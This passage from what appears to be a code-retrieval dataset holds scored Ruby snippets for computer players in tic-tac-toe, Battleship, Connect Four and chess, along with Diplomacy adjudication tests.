COMPUTER_MARKER)\nend", "title": "" }, { "docid": "a4ddda4503e95139c486d01b81909406", "score": "0.73271024", "text": "def computer_places_piece!(brd)\n square = ''\n WINNING_LINES.each do |line|\n if brd.values_at(line[0], line[1], line[2]).count(PLAYER_MARKER) == 2\n square = brd.slice(*line).key(INITIAL_MARKER)\n else\n square = empty_squares(brd).sample\n end\n end\n brd[square] = COMPUTER_MARKER\nend", "title": "" }, { "docid": "8516d554a97b4437c1255600787229cd", "score": "0.70198053", "text": "def place_piece!(brd, player)\n square = nil\n if player == 'player'\n marker = PLAYER_MARKER\n loop do\n prompt \"Choose a square (#{joinor(empty_squares(brd))}):\"\n square = gets.chomp.to_i\n break if empty_squares(brd).include?(square)\n prompt \"Sorry that is not a valid choice\"\n end\n elsif player == 'computer'\n marker = COMPUTER_MARKER\n check_for_offense(brd,square)\n # computer AI defense\n if !square\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, PLAYER_MARKER)\n break if square\n end\n end\n\n # pick square #5\n if !square && brd[5] == ' '\n square = 5\n end\n # pick a random square\n if !square\n square = empty_squares(brd).sample # this returns an integer\n end\n end\n\n # modify board\n brd[square] = marker\nend", "title": "" }, { "docid": "378c3ef711720155a84f586b347ee243", "score": "0.70150465", "text": "def computer_moves\n computer_attacks\n computer_defends\n if board.squares[5].marker == Board::INITIAL_MARKER\n board.set_square_at(5, Square.new(COMPUTER_MARKER))\n elsif board.squares.values.count { |square| square.marker == 'X' } > board.squares.values.count { |square| square.marker == 'O' }\n square = board.empty_squares_keys.sample\n board.set_square_at(square, Square.new(COMPUTER_MARKER))\n return\n end\n end", "title": "" }, { "docid": "b9837a87176caf262dbda587806eb993", "score": "0.69764024", "text": "def computer_places_piece(board, player, computer)\r\n square = 0\r\n if board[5] == ' '\r\n board[5] = computer\r\n else\r\n WINNING_LINES.each do |line|\r\n if board.values_at(*line).count(computer) == 2 && board.values_at(*line).include?(' ')\r\n if board[line[0]] == ' '\r\n return board[line[0]] = computer\r\n elsif board[line[1]] == ' '\r\n return board[line[1]] = computer\r\n else\r\n return board[line[2]] = computer\r\n end\r\n elsif board.values_at(*line).count(player) == 2 && board.values_at(*line).include?(' ')\r\n if board[line[0]] == ' '\r\n return board[line[0]] = computer\r\n elsif board[line[1]] == ' '\r\n return board[line[1]] = computer\r\n else\r\n return board[line[2]] = computer\r\n end\r\n else\r\n square = empty_squares(board).sample\r\n end\r\n end\r\n end\r\nend", "title": "" }, { "docid": "de6c5182c94638c41aefa1c790a3b57a", "score": "0.6948879", "text": "def computer_strategy(brd)\n if immediate_win?(brd)\n winning_spot(brd)\n elsif immediate_loss?(brd)\n defend_spot(brd)\n elsif middle_open?(brd)\n 5\n else\n random_move(brd)\n end\nend", "title": "" }, { "docid": "4435ce4536baf8549a4da8fb2f7b3434", "score": "0.6849015", "text": "def computer_picks_area(b)\n pos = empty_position(b).sample # pos var is used to assign \n b[pos] = '0' # passed board hash given the random value assigned to '0'\nend", "title": "" }, { "docid": "4febc45c3b1a7b26117efcc6a51f7412", "score": "0.68347347", "text": "def place_piece!(brd, crt_player)\n case crt_player\n when 'PLR'\n player_places_piece!(brd)\n when 'CPU'\n computer_places_piece!(brd)\n end\nend", "title": "" }, { "docid": "fb8142c6d72640cb6392cc73765680a7", "score": "0.67584765", "text": "def computer_moves\nfind_winner\n@board[[:b1, :b2, :b3, :b4, :b5, :b6, :b7, :b8, :b9].sample] = 'O'\nputs printed_board\nplayer_moves\nend", "title": "" }, { "docid": "c3af783f384f7a4dc3e67ceb85ef3c59", "score": "0.6756062", "text": "def comp_square_pick(board)\n comp_pick = empty_square(board).sample\n board[comp_pick] = 'o'\nend", "title": "" }, { "docid": "151da8697662adf0b61b0c6d18e1940c", "score": "0.6734254", "text": "def intelligent_move(board)\n offensive(board) || defensive(board) || random(board)\n end", "title": "" }, { "docid": "704f71efd30f55bf2ee046b708948e81", "score": "0.6734091", "text": "def continued_attack(piece)\n piece.attack_moves.sample\n end", "title": "" }, { "docid": "b654b7f34521f258252316e71368d354", "score": "0.67055917", "text": "def computer_picks_square(board)\n puts \"Pick a square of whats left from (1-9)\"\n position = empty_positions(board).sample\n board[position] = 'O'\nend", "title": "" }, { "docid": "3c0878d5f65443dec50469208ed8a71a", "score": "0.668371", "text": "def best_move_for_computer(player_array, computer_array, possible_values)\n defend = computer_win_or_save(player_array, possible_values)\n attack = computer_win_or_save(computer_array, possible_values)\n if attack\n attack\n elsif defend\n defend\n elsif possible_values.include?(5)\n 5\n else\n possible_values.sample\n end\nend", "title": "" }, { "docid": "31fcf97807a93eae8d9153a80be09d0a", "score": "0.66411364", "text": "def places_piece!(brd, player)\n if player == \"real_player\"\n player_places_piece!(brd)\n else\n computer_places_piece!(brd)\n end\nend", "title": "" }, { "docid": "21c05ff0f8724b95b9d23bd2427f24dc", "score": "0.65926594", "text": "def place_piece!(brd, current_player) \n if current_player == 'player'\n player_places_piece!(brd)\n elsif current_player == 'computer'\n computer_places_piece!(brd) \n end \nend", "title": "" }, { "docid": "47cb4d63ca18fd74aff3d1248c5827fc", "score": "0.65770787", "text": "def computer_move(b)\n\tloc = empty_locations(b).sample \n\tb[loc] = 'O'\n\tputs \"Computer selects square #{loc}\"\nend", "title": "" }, { "docid": "5c7139ed91716f4267a0217aa3565852", "score": "0.652508", "text": "def comp_turn(board)\n\n puts \"Computer thinking...\"\n sleep(1.5)\n\n attack_square = nil\n defend_square = nil\n attacked = nil\n defended = nil\n \n #attack if possible\n WINNING_LINES.each do |l|\n attack_square = two_in_a_row?({l[0] => board[l[0]], l[1] => board[l[1]], l[2] => board[l[2]]}, \"O\") \n if attack_square\n board[attack_square] = \"O\"\n attacked = true\n break\n end\n end\n\n #if cannot attack, then check for defend\n if !attacked\n WINNING_LINES.each do |l|\n defend_square = two_in_a_row?({l[0] => board[l[0]], l[1] => board[l[1]], l[2] => board[l[2]]}, \"X\")\n if defend_square \n board[defend_square] = \"O\"\n defended = true\n break\n end\n end\n end\n\n #if can't defend, select a random square\n if !attacked && !defended\n comp_choice = empty_squares(board).sample\n board[comp_choice] = \"O\"\n end\n\nend", "title": "" }, { "docid": "53b4463ed4a15bdd903601e5404820e1", "score": "0.6523441", "text": "def place_piece!(brd, player)\n return player_places_piece!(brd) if player == :player\n computer_places_piece!(brd)\nend", "title": "" }, { "docid": "d6451bebdc6862e3c081455b728d33c6", "score": "0.6504845", "text": "def choose_square(board, player) #might not need count\n config = @configuration[1]\n available_moves = board.reject {|spot| spot.to_i == 0} \n open_pick = available_moves.sample.to_i\n save_game_picks = []\n if config == 1 ######## Easy Mode #########\n board[open_pick-1] = player\n elsif config == 2 ######## Normal Mode #######\n WINS.any? do |a,b,c|\n if board[a] == board[b] || board[a] == board[c] || board[c] == board[b]\n save_game_picks << board[c].to_i if board[a] == board[b]\n save_game_picks << board[b].to_i if board[a] == board[c]\n save_game_picks << board[a].to_i if board[c] == board[b]\n end\n end\n #add a WINs analyzer that goes for victory instead of playing defensively\n save_game_pick = save_game_picks.keep_if {|item| available_moves.include?(item.to_s)}\n save_game_pick.empty? ? pick = open_pick : pick = save_game_pick[0]\n board[pick-1] = player\n elsif config == 3 ######## Hard Mode #########\n WINS.any? do |a,b,c|\n if board[a] == board[b] || board[a] == board[c] || board[c] == board[b]\n save_game_picks << board[c].to_i if board[a] == board[b]\n save_game_picks << board[b].to_i if board[a] == board[c]\n save_game_picks << board[a].to_i if board[c] == board[b]\n end\n end\n save_game_pick = save_game_picks.keep_if {|item| available_moves.include?(item.to_s)}\n save_game_pick.empty? ? pick = open_pick : pick = save_game_pick[0]\n board[pick-1] = player\n else ######## Nightmare Mode ############\n #do nightmare stuff \n end\n end", "title": "" }, { "docid": "744a36b94b6b7c3f7809f74dd565d34a", "score": "0.648514", "text": "def computer_attack\n s_row = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\"]\n s_column = %w(1 2 3 4 5 6 7 8 9 10)\n @row_choice = s_row.to_a.sample\n @column_choice = s_column.to_a.sample\n @cpu_attack = @row_choice.concat @column_choice\n ship1 = @cpu_attack\n while @cpu_hit <= 16\n s_row = ship1[0]\n col = (ship1[1..2]).to_i - 1\n if @board[:\"#{s_row}\"][col] == true\n puts \"\n _.-._\n ({ ` )\n ` |'' *BOOM!*\n \\_/\n . | ,\n ` -----' `----- '\n \"\n sleep 1\n puts \"The computer chose #{@cpu_attack}. The computer got a hit!\"\n @cpu_hit += 1\n @board[:\"#{s_row}\"][col] = \"H\"\n elsif @board[:\"#{s_row}\"][col] == \"H\"\n puts \"Opps! The computer chose #{@cpu_attack} again!\"\n else\n @board[:\"#{s_row}\"][col] == false\n @board[:\"#{s_row}\"][col] = \"w\"\n puts \"The computer chose #{@cpu_attack} and hit the ocean!\"\n sleep 1\n # binding.pry\n end\n computer_attack_grid\n return\n end\n \nend", "title": "" }, { "docid": "cbec9266898257368493cc4054fdda7c", "score": "0.64757353", "text": "def place_piece(board, player, computer)\r\n if player == 'X'\r\n player_places_piece(board, player)\r\n if someone(board, player) == 'Player' || board_full(board)\r\n return\r\n end\r\n computer_places_piece(board, player, computer)\r\n display_board(board, player, computer)\r\n else\r\n computer_places_piece(board, player, computer)\r\n display_board(board, player, computer)\r\n if someone(board, player) == 'Computer' || board_full(board)\r\n return\r\n end\r\n player_places_piece(board, player)\r\n end\r\nend", "title": "" }, { "docid": "649453aa421a5131afb87eecf0464eab", "score": "0.644838", "text": "def computers_turn\n@choice = (0..42).to_a.sample\n#until @board[@choice] != 'Red' && @board[@choice] != 'Yellow' \nuntil @board[@choice + 7] == 'Red' || @board[@choice + 7] == 'Yellow' || @choice > 34 && @board[@choice] != 'Red' && @board[@choice] != 'Yellow'\n@choice = (0..42).to_a.sample\n#end\nend\n@board[@choice] = computer_color\nend", "title": "" }, { "docid": "356c81204b33232d2da4e2a3aa430cb0", "score": "0.6444081", "text": "def place_piece!(board, current_player)\n if current_player == 'Computer'\n computer_places_piece!(brd)\n\n else\n player_places_piece!(board)\n end\nend", "title": "" }, { "docid": "f7d906c4929801431da4f7b4f3d805a2", "score": "0.6441085", "text": "def randomComputer\n @available = []\n @board.each.with_index { |b, index| @available << index if b == nil }\n @board[@available.sample] = @turn\n end", "title": "" }, { "docid": "c279626fb022108fea182b6da93fef23", "score": "0.64141744", "text": "def computer_defense(brd) # computer AI defense\n lines = strategic_lines(brd, PLAYER_MARKER)\n if lines.empty?\n nil\n else\n empty_squares_in_lines(brd, lines)\n end\nend", "title": "" }, { "docid": "2e25b2a30d28a70b320496934de06b36", "score": "0.64059603", "text": "def test_26\n turn.clear_pieces\n ef1 = england.make_piece \"f den\"\n ef2 = england.make_piece \"f nth\"\n ef3 = england.make_piece \"f hel\"\n ra = russia.make_piece \"a ber\"\n rf1 = russia.make_piece \"f ska\"\n rf2 = russia.make_piece \"f bal\"\n england.submit_orders %{\n f den-kie\n f nth-den\n f hel s f nth-den\n }\n russia.submit_orders %{\n a ber-kie\n f ska-den\n f bal s f ska-den\n }\n game.judge\n assert_bounced ef1\n assert_bounced ef2\n assert_bounced ra\n assert_bounced rf1\n end", "title": "" }, { "docid": "75b9755967610990efbd9686c164f9f0", "score": "0.63970375", "text": "def test_no_suicide_while_evaluating\n init_board(7)\n @game.load_moves(\"d4,d2,e3,b4,e1,c5,d6,d5,c3,e5,d3,b3,b2,c2,a2,e2,f1,f2,b6,c6,f6,e6,f4,d7,f5,f3\");\n @ter.guess_territories\n \n end", "title": "" }, { "docid": "efbff6ff63fd2e3dad71d573b1c636c9", "score": "0.638423", "text": "def randomize(piece)\n rand(1...board.length).times do\n board[rand(board.length)].val = piece\n end\n end", "title": "" }, { "docid": "b9a1be93c6366105b27115cba7836d96", "score": "0.6381946", "text": "def simulate_place(board)\n new_tile = 2 + 2 * (rand < PROBABILITY_OF_4 ? 1 : 0)\n board.unshift new_tile\n board.sort!\n board\nend", "title": "" }, { "docid": "53e3992353cf326491723bc1baa2769e", "score": "0.6371409", "text": "def place_piece(row, col, piece)\r\n\t# LN: empty?\r\nend", "title": "" }, { "docid": "662bc09595957147710a7f27afcddde9", "score": "0.6371092", "text": "def computer_fire\n\n target_grid = [\"A1\", \"A2\", \"A3\", \"A4\", \"A5\", \"A6\", \"A7\", \"A8\", \"A9\", \"A10\",\n \"B1\", \"B2\", \"B3\", \"B4\", \"B5\", \"B6\", \"B7\", \"B8\", \"B9\", \"B10\",\n \"C1\", \"C2\", \"C3\", \"C4\", \"C5\", \"C6\", \"C7\", \"C8\", \"C9\", \"C10\",\n \"D1\", \"D2\", \"D3\", \"D4\", \"D5\", \"D6\", \"D7\", \"D8\", \"D9\", \"D10\",\n \"E1\", \"E2\", \"E3\", \"E4\", \"E5\", \"E6\", \"E7\", \"E8\", \"E9\", \"E10\",\n \"F1\", \"F2\", \"F3\", \"F4\", \"F5\", \"F6\", \"F7\", \"F8\", \"F9\", \"F10\",\n \"G1\", \"G2\", \"G3\", \"G4\", \"G5\", \"G6\", \"G7\", \"G8\", \"G9\", \"G10\",\n \"H1\", \"H2\", \"H3\", \"H4\", \"H5\", \"H6\", \"H7\", \"H8\", \"H9\", \"H10\",\n \"I1\", \"I2\", \"I3\", \"I4\", \"I5\", \"I6\", \"I7\", \"I8\", \"I9\", \"I10\",\n \"J1\", \"J2\", \"J3\", \"J4\", \"J5\", \"J6\", \"J7\", \"J8\", \"J9\", \"J10\"]\n\n shot_coordinate = rand_gr()\n\n while @computer_previous_shots.include?(shot_coordinate) || !target_grid.include?(shot_coordinate)\n shot_coordinate = rand_gr()\n end\n\n @computer_previous_shots.unshift(shot_coordinate)\n\n if $b_g[REFERENCE_HASH[shot_coordinate]] != \" \"\n puts \"You have been hit at #{shot_coordinate}!\"\n @computer_score = @computer_score + 1\n $b_g[REFERENCE_HASH[shot_coordinate]] = \"X\".colorize(:red)\n else\n puts \"Enemy shot missed\"\n $b_g[REFERENCE_HASH[shot_coordinate]] = \"O\".colorize(:blue)\n end\n\nend", "title": "" }, { "docid": "aa10c758f588a2c778370597a373f49f", "score": "0.63688034", "text": "def computer_rand_placement\n rand_cruiser_coords = all_cruiser_placements.sample\n #I think checking valid_placement? here is redundant since its the first ship placed\n until @computer_player.board.valid_placement?(@computer_player.cruiser, rand_cruiser_coords) do\n rand_cruiser_coords = all_cruiser_placements.sample\n end\n \n @computer_player.board.place(@computer_player.cruiser, rand_cruiser_coords)\n rand_sub_coords = all_sub_placements.sample\n until @computer_player.board.valid_placement?(@computer_player.submarine, rand_sub_coords) do\n rand_sub_coords = all_sub_placements.sample\n end\n @computer_player.board.place(@computer_player.submarine, rand_sub_coords)\n end", "title": "" }, { "docid": "c64cf46205b1ae2e97826e05556b7b1c", "score": "0.6339955", "text": "def computer_place_cruiser(cruiser)\n coordinates = @computer_board.cells.keys.sample(3)\n while @computer_board.valid_placement?(cruiser, coordinates) == false\n coordinates = @computer_board.cells.keys.sample(3)\n end\n @computer_board.place(cruiser, coordinates)\n end", "title": "" }, { "docid": "9c21f056d7d310adb962968660ab456f", "score": "0.6339571", "text": "def test_16\n turn.clear_pieces\n ga1 = germany.make_piece \"a pru\"\n ga2 = germany.make_piece \"a sil\"\n ra = russia.make_piece \"a war\"\n germany.submit_orders %{\n a pru-war\n a sil s a pru-war\n }\n russia.submit_orders %{\n a war-sil\n }\n game.judge\n assert_dislodged ra\n assert_moved ga1, \"pru\", \"war\"\n end", "title": "" }, { "docid": "a71840d77893853de73974f845213422", "score": "0.6335095", "text": "def move_random_piece\n to_a(possible_empty_spaces).sample\n end", "title": "" }, { "docid": "d90dd747379e0e69a5b15fc99ff7ce40", "score": "0.63270324", "text": "def piece; @piece ||= self.from_coord && self.board_before[ self.from_coord ]; end", "title": "" }, { "docid": "3539ae58c01a08c66bcb84d790ba3265", "score": "0.63204664", "text": "def computer_choice!(display_in)\n # try to win\n winner_square = can_computer_win?(display_in)\n puts winner_square\n if winner_square != 0 # can win, pick the winner\n add_piece_to_boaard(display_in, COMPUTER_MARK, winner_square)\n else\n # try to avoid loss\n protect_square = computer_can_lose(display_in) \n puts \"Avoid Loss::: #{protect_square}\"\n if protect_square != 0 # about to lose, so pick the protecting square\n add_piece_to_boaard(display_in, COMPUTER_MARK, protect_square)\n else\n # find a free square since I can't win and I am not about to lose\n free_square_value = free_square(display_in)\n if free_square_value.nonzero? # not empty board\n add_piece_to_boaard(display_in, COMPUTER_MARK, free_square_value)\n end\n end\n end\n end", "title": "" }, { "docid": "3ec30264c6d436755fc810cffcb9f5ce", "score": "0.63204134", "text": "def gen_caps\n @first_move[@ply + 1] = @first_move[@ply];\n\t\n 64.times{|i|\n if (@color[i] == @side)\n if (@piece[i]==PAWN)\n if (@side == LIGHT)\n gen_push(i, i - 9, 17) if (COL(i) != 0 && @color[i - 9] == DARK)\n gen_push(i, i - 7, 17) if (COL(i) != 7 && @color[i - 7] == DARK)\n gen_push(i, i - 8, 16) if (i <= 15 && @color[i - 8] == EMPTY)\n end\n \n if (@side == DARK)\n gen_push(i, i + 7, 17) if (COL(i) != 0 && @color[i + 7] == LIGHT)\n gen_push(i, i + 9, 17) if (COL(i) != 7 && @color[i + 9] == LIGHT)\n gen_push(i, i + 8, 16) if (i >= 48 && @color[i + 8] == EMPTY)\n end\n else\n OFFSETS[@piece[i]].times{|j|\n n = i\n loop do\n n = MAILBOX[MAILBOX64[n] + OFFSET[@piece[i]][j]];\n break if (n == -1)\n if (@color[n] != EMPTY)\n gen_push(i, n, 1) if (@color[n] == @xside)\n break\n end\n break if (!SLIDE[@piece[i]])\n end\n }\n end\n end\n }\n \n if (@ep != -1)\n if (@side == LIGHT)\n if (COL(@ep) != 0 && @color[@ep + 7] == LIGHT && @piece[@ep + 7] == PAWN)\n gen_push(@ep + 7, @ep, 21);\n end\n \n if (COL(@ep) != 7 && @color[@ep + 9] == LIGHT && @piece[@ep + 9] == PAWN)\n gen_push(@ep + 9, @ep, 21);\n end\n else\n if (COL(@ep) != 0 && @color[@ep - 9] == DARK && @piece[@ep - 9] == PAWN)\n gen_push(@ep - 9, @ep, 21);\n end\n \n if (COL(@ep) != 7 && @color[@ep - 7] == DARK && @piece[@ep - 7] == PAWN)\n gen_push(@ep - 7, @ep, 21);\n end\n end\n end\n end", "title": "" }, { "docid": "f7d10aee81de826b62f65c356c2a70c9", "score": "0.6318177", "text": "def test_9\n turn.clear_pieces\n ga = germany.make_piece(\"a sil\")\n gf = germany.make_piece(\"f bal\")\n ra = russia.make_piece(\"a pru\")\n germany.submit_orders %{\n a sil-pru\n f bal s a sil-pru\n }\n russia.submit_orders %{\n a pru hold\n }\n game.judge\n assert_moved ga, \"sil\", \"pru\"\n assert_stayed gf\n assert_dislodged ra\n end", "title": "" }, { "docid": "6a65bcaaec8d11296ab7236d666f7b60", "score": "0.6317079", "text": "def comp_location(comp_input, gameboard)\n chk_comp_input = true\n while chk_comp_input\n c_location_x = rand(0..2)\n c_location_y = rand(0..2)\n #break loop if true, check space is available and set it\n check = chk_board(c_location_x, c_location_y, comp_input, gameboard)\n gameboard = check[:gameboard]\n chk_comp_input = check[:space]\n end\n gameboard\nend", "title": "" }, { "docid": "1efbae646eab864935f1202fda96ef95", "score": "0.6294773", "text": "def special_case(board)\n return {[0,0] => 0.0, [2,0] => 0.0, [0,2] => 0.0, [2,2] => 0.0}.sample if board.empty?\n nil\n end", "title": "" }, { "docid": "df565863fa3db4e9500aa9653d9f632c", "score": "0.6288544", "text": "def computer_picks_square(b)\n square = empty_squares(b).sample\n b[square] = \"O\"\n end", "title": "" }, { "docid": "89f94e0ddac39f5b703d10a5ba198962", "score": "0.6277184", "text": "def computer_choice!(brd)\n spot = computer_strategy(brd)\n brd[spot] = COMPUTER_MARK\nend", "title": "" }, { "docid": "c6b2a8c812aa9db40278e3588bd93cc2", "score": "0.6265168", "text": "def random_piece\n piece_stack.pop\n end", "title": "" }, { "docid": "bac75e2f468c3b944dc66bfeede66bb5", "score": "0.6259897", "text": "def test_5\n turn.clear_pieces\n ga = germany.make_piece(\"a ber\")\n gf = germany.make_piece(\"f kie\")\n russia.make_piece(\"a pru\")\n germany.submit_orders %{\n a ber-pru\n f kie-ber\n }\n russia.submit_orders %{\n a pru h\n }\n game.judge\n assert_bounced ga\n assert_bounced gf\n end", "title": "" }, { "docid": "6aacd4c5ec8bb334447e336402ffdf16", "score": "0.6252082", "text": "def computer_move\n c_move = open_spots.sample\n @board[c_move] = computer_symbol\n puts \"BOARD: #{@board}\"\n @whose_turn = :player\n end", "title": "" }, { "docid": "d39f44450162d92d01da8502266b160e", "score": "0.6244359", "text": "def promotion(element, ind,white)\n array = [\"queen\",\"rook\",\"bishop\",\"kinght\"]\n puts \"which piece youn want to change your pawn:\"\n p array\n choice = gets.chomp.downcase\n if array.include?(choice)\n if white\n\t index1 = ind\n\t\t \tindex2 = @board.wpos.index(element.pos)\n\t\t @board.whites=@board.whites[0...index1]+@board.whites[index1+1..-1]\n\t\t @board.wpos=@board.wpos[0...index2]+@board.wpos[index2+1..-1]\n\t\t case choice\n\t\t when \"queen\"\n\t\t n = Queen.new(element.pos,\"\\u2655\",true)\n\t\t when \"rook\"\n\t\t n = Rook.new(element.pos,\"\\u2656\",true)\n\t\t when \"bishop\"\n\t\t n = Bishop.new(element.pos, \"\\u2657\",true)\n\t\t when \"Knight\"\n n = Knight.new(element.pos, \"\\u2658\",true)\n\t\t end\n\t\t @board.put_piece(n)\n\t\t \n\t\telse\n\t\t\tindex1 = ind\n\t \t index2 = @board.bpos.index(element.pos)\n\t @board.blacks=@board.blacks[0...index1]+@board.blacks[index1+1..-1]\n\t @board.bpos=@board.bpos[0...index2]+@board.bpos[index2+1..-1]\n\t case choice\n\t\t when \"queen\"\n\t\t n = Queen.new(element.pos,\"\\u265B\",false)\n\t\t when \"rook\"\n\t\t n = Rook.new(element.pos,\"\\u265C\",false)\n\t\t when \"bishop\"\n\t\t n = Bishop.new(element.pos, \"\\u265D\",false)\n\t\t when \"Knight\"\n n = Knight.new(element.pos, \"\\u265E\")\n\t\t end\n\t\t @board.put_piece(n)\n end\n else\n puts \"invalid choice try again\"\n gets\n promotion(element,index)\n end\n end", "title": "" }, { "docid": "6d1b0e44163f9c80b3ba7f9bb9128320", "score": "0.62435037", "text": "def test_25\n turn.clear_pieces\n ga1 = germany.make_piece \"a mun\"\n ga2 = germany.make_piece \"a ruh\"\n ga3 = germany.make_piece \"a sil\"\n aa1 = austria.make_piece \"a tyl\"\n aa2 = austria.make_piece \"a boh\"\n germany.submit_orders %{\n a mun-tyl\n a ruh-mun\n a sil-mun\n }\n austria.submit_orders %{\n a tyl-mun\n a boh s a sil-mun\n }\n game.judge\n assert_bounced ga1\n assert_bounced ga2\n assert_bounced ga3\n assert_bounced aa1\n end", "title": "" }, { "docid": "dc27355223c307f767da7a1e6bd68167", "score": "0.6242138", "text": "def attack_worth_it?(piece, attacking_pos, pos)\n enemy_piece = board.return_piece(attacking_pos)\n my_piece_value = board.return_piece_value(piece.to_s.split(\"\")[1].to_sym)\n enemy_piece.nil? ? enemy_piece_value = 10 : enemy_piece_value = board.return_piece_value(enemy_piece.to_s.split(\"\")[1].downcase.to_sym)\n\n #testing move placement\n game.current_player.color == \"white\" ? current_claimed_pieces = game.claimed_black_pieces.count : current_claimed_pieces = game.claimed_white_pieces.count\n board.place_move(piece, attacking_pos, game)\n board.erase_piece(pos)\n game.current_player.color == \"white\" ? new_claimed_pieces = game.claimed_black_pieces : new_claimed_pieces = game.claimed_white_pieces\n\n enemy_moves = get_all_moves(game.enemy_color(color))\n\n if enemy_counter?(enemy_moves, attacking_pos)\n if my_piece_value <= enemy_piece_value\n game.reverse_move(game.current_player.color, current_claimed_pieces, new_claimed_pieces, attacking_pos)\n board.place_move(piece, pos, game)\n return true\n else\n game.reverse_move(game.current_player.color, current_claimed_pieces, new_claimed_pieces, attacking_pos)\n board.place_move(piece, pos, game)\n return false\n end\n else\n game.reverse_move(game.current_player.color, current_claimed_pieces, new_claimed_pieces, attacking_pos)\n board.place_move(piece, pos, game)\n return true\n end\n\n end", "title": "" }, { "docid": "785daaa7486a71e373d4a0b46f397bce", "score": "0.62263715", "text": "def run \n ran = @current_block.drop_by_one\t\n if !ran\n store_current\t \n if !game_over? \n\t\tif @cheat\n\t\t special_piece\n\t\telse\n\t\t\tnext_piece\n\t\tend\n end\n end\n @game.update_score\n draw\n end", "title": "" }, { "docid": "9741a31a3532c4ae98f09a64a67e5e84", "score": "0.6213503", "text": "def test_10\n turn.clear_pieces\n if1 = italy.make_piece(\"f rom\")\n if2 = italy.make_piece(\"f nap\")\n ff1 = france.make_piece(\"f lyo\")\n ff2 = france.make_piece(\"f wes\")\n france.submit_orders %{\n f lyo-tys\n f wes s f lyo-tys\n }\n italy.submit_orders %{\n f nap-tys\n f rom s f nap-tys\n }\n game.judge\n assert_stayed if1\n assert_stayed if2\n assert_stayed ff1\n assert_stayed ff2\n end", "title": "" }, { "docid": "a92db2cf0ad9cf7957269b5c23c2d989", "score": "0.6211616", "text": "def test_11\n turn.clear_pieces\n if1 = italy.make_piece(\"f rom\")\n if2 = italy.make_piece(\"f tys\")\n ff1 = france.make_piece(\"f lyo\")\n ff2 = france.make_piece(\"f wes\")\n france.submit_orders %{\n f lyo-tys\n f wes s f lyo-tys\n }\n italy.submit_orders %{\n f tys hold\n f rom s f tys h\n }\n game.judge\n assert_stayed if1\n assert_stayed if2\n assert_stayed ff1\n assert_stayed ff2\n end", "title": "" }, { "docid": "abb47ed9f53d8d33d1fa7dd2500662ec", "score": "0.61725855", "text": "def test_32a\n turn.clear_pieces\n fa1 = france.make_piece \"a tun\"\n fa2 = france.make_piece \"a apu\"\n ff1 = france.make_piece \"f tys\"\n ff2 = france.make_piece \"f ion\"\n if1 = italy.make_piece \"f rom\"\n if2 = italy.make_piece \"f nap\"\n france.submit_orders %{\n a tun-ion-nap\n f tys hold\n f ion c a tun-nap\n a apu s a tun-ion-nap\n }\n italy.submit_orders %{\n f rom-tys\n f nap s f rom-tys\n }\n game.judge\n assert_moved fa1, \"tun\", \"nap\"\n assert_bounced if1\n assert_cut if2\n assert_dislodged if2\n end", "title": "" }, { "docid": "15d28e10ad33e0b392e3e7055dc9202b", "score": "0.6170085", "text": "def test_6\n turn.clear_pieces\n f = germany.make_piece(\"f ber\")\n a = germany.make_piece(\"a pru\")\n germany.submit_orders %{\n f ber-pru\n a pru-ber\n }\n game.judge\n assert_bounced f\n assert_bounced a\n end", "title": "" }, { "docid": "dbfd26351b22381a314e5a68a6977776", "score": "0.6155449", "text": "def computer_pick_square(board) \n position = nil\n WINNING_LINES.each do |line|\n current_grid_status = {line[0] => board[line[0]], line[1] => board[line[1]], line[2] => board[line[2]]}\n found_two_in_a_row = two_in_a_row(current_grid_status, 'X')\n if found_two_in_a_row\n position = found_two_in_a_row\n end\n end\n \n if !position\n position = empty_positions(board).sample\n end\n board[position] = 'O' \nend", "title": "" }, { "docid": "2f2eaa683e8dd46d80e35d987838277e", "score": "0.6152323", "text": "def get_moves_piece(piece)\n w_old = Vector[piece.square.x, piece.square.y]\n moves = []\n if piece.can_enter_cauldron\n if piece.is_a?(Seannaiche) or (piece.is_a?(Clansman) and piece.owner.mercenary)\n moves.push(PieceMove.new(piece.square, @board.cauldron, piece))\n elsif piece.is_a? Clansman\n @@PIECE_MAPPINGS.values.each do |q|\n r = @piece_list.find{|x| x.is_a?(q) and x.square.nil? and x.owner.equal?(piece.owner)}\n if r\n moves.push(PromoteMove.new(piece.square, @board.cauldron, r, piece))\n end\n end\n end\n end\n # TODO: a bit of a workaround, adding moves off the cauldron only in the special case of the standard 16x16 board. A more general solution for handling multiple cauldrons would probably be a good idea.\n if piece.square.level == 3\n moves.push(PieceMove.new(@board.cauldron, @board.find(7,7), piece))\n moves.push(PieceMove.new(@board.cauldron, @board.find(7,8), piece))\n moves.push(PieceMove.new(@board.cauldron, @board.find(8,7), piece))\n moves.push(PieceMove.new(@board.cauldron, @board.find(8,8), piece))\n end\n piece.mov_vecs.each do |v|\n moves.concat iterate_move(v, w_old, piece, :move_or_cap)\n end\n if not piece.moves_same_as_cap\n piece.cap_vecs.each do |v|\n moves.concat iterate_move(v, w_old, piece, :normal_capture)\n end\n end\n # only piece satisfying this is Bansidh (which moves_same_as_cap), and so a separate loop for adding captures isn't currently necessary. In the future though, it would probably be a good idea.\n if piece.has_second_move\n piece.mov_vecs2.each do |v|\n moves.concat iterate_move(v, w_old, piece, :bansidh_move)\n end\n end\n if piece.has_different_first_move and not piece.moved\n piece.first_mov_vecs.each do |v|\n moves.concat iterate_move(v, w_old, piece, :move_or_cap)\n end\n if not piece.first_move_same_as_cap\n piece.first_cap_vecs.each do |v|\n moves.concat iterate_move(v, w_old, piece, :normal_capture)\n end\n end\n end\n return moves\n end", "title": "" }, { "docid": "882318168b1345dfb41b2b53b8cef09d", "score": "0.6150961", "text": "def robot # priority is specified by order\n move = addGap(:R)#adds chip to gap\n if(move > -1)\n return move\n end\n move = addHorizontal(:R, 3)#adds chip for horizontal win\n if(move > -1)\n return move\n end\n move = addHorizontal(:R, 2)#adds chip to 2 chips in a row\n if(move > -1)\n return move\n end\n move = stopHorizontal(:O)#adds chip to stop horizonal win\n if(move > -1)\n return move\n end\n move = addVertical(:R, 3)#adds chip for vertical win\n if(move > -1)\n return move\n end\n move = addVertical(:R, 2)#adds chip to vertical row of 2\n if(move > -1)\n return move\n end\n # move = addVertical(:O, 1)\n # if(move > -1)\n # return move\n # end\n move = stopVertical(:O)#adds chip to block vertical win\n if(move > -1)\n return move\n end\n addDisc(:R , rand(7))#adds randome chip\n return -1\n end", "title": "" }, { "docid": "02fb042db6a519d71275b3613f81fb7f", "score": "0.6148017", 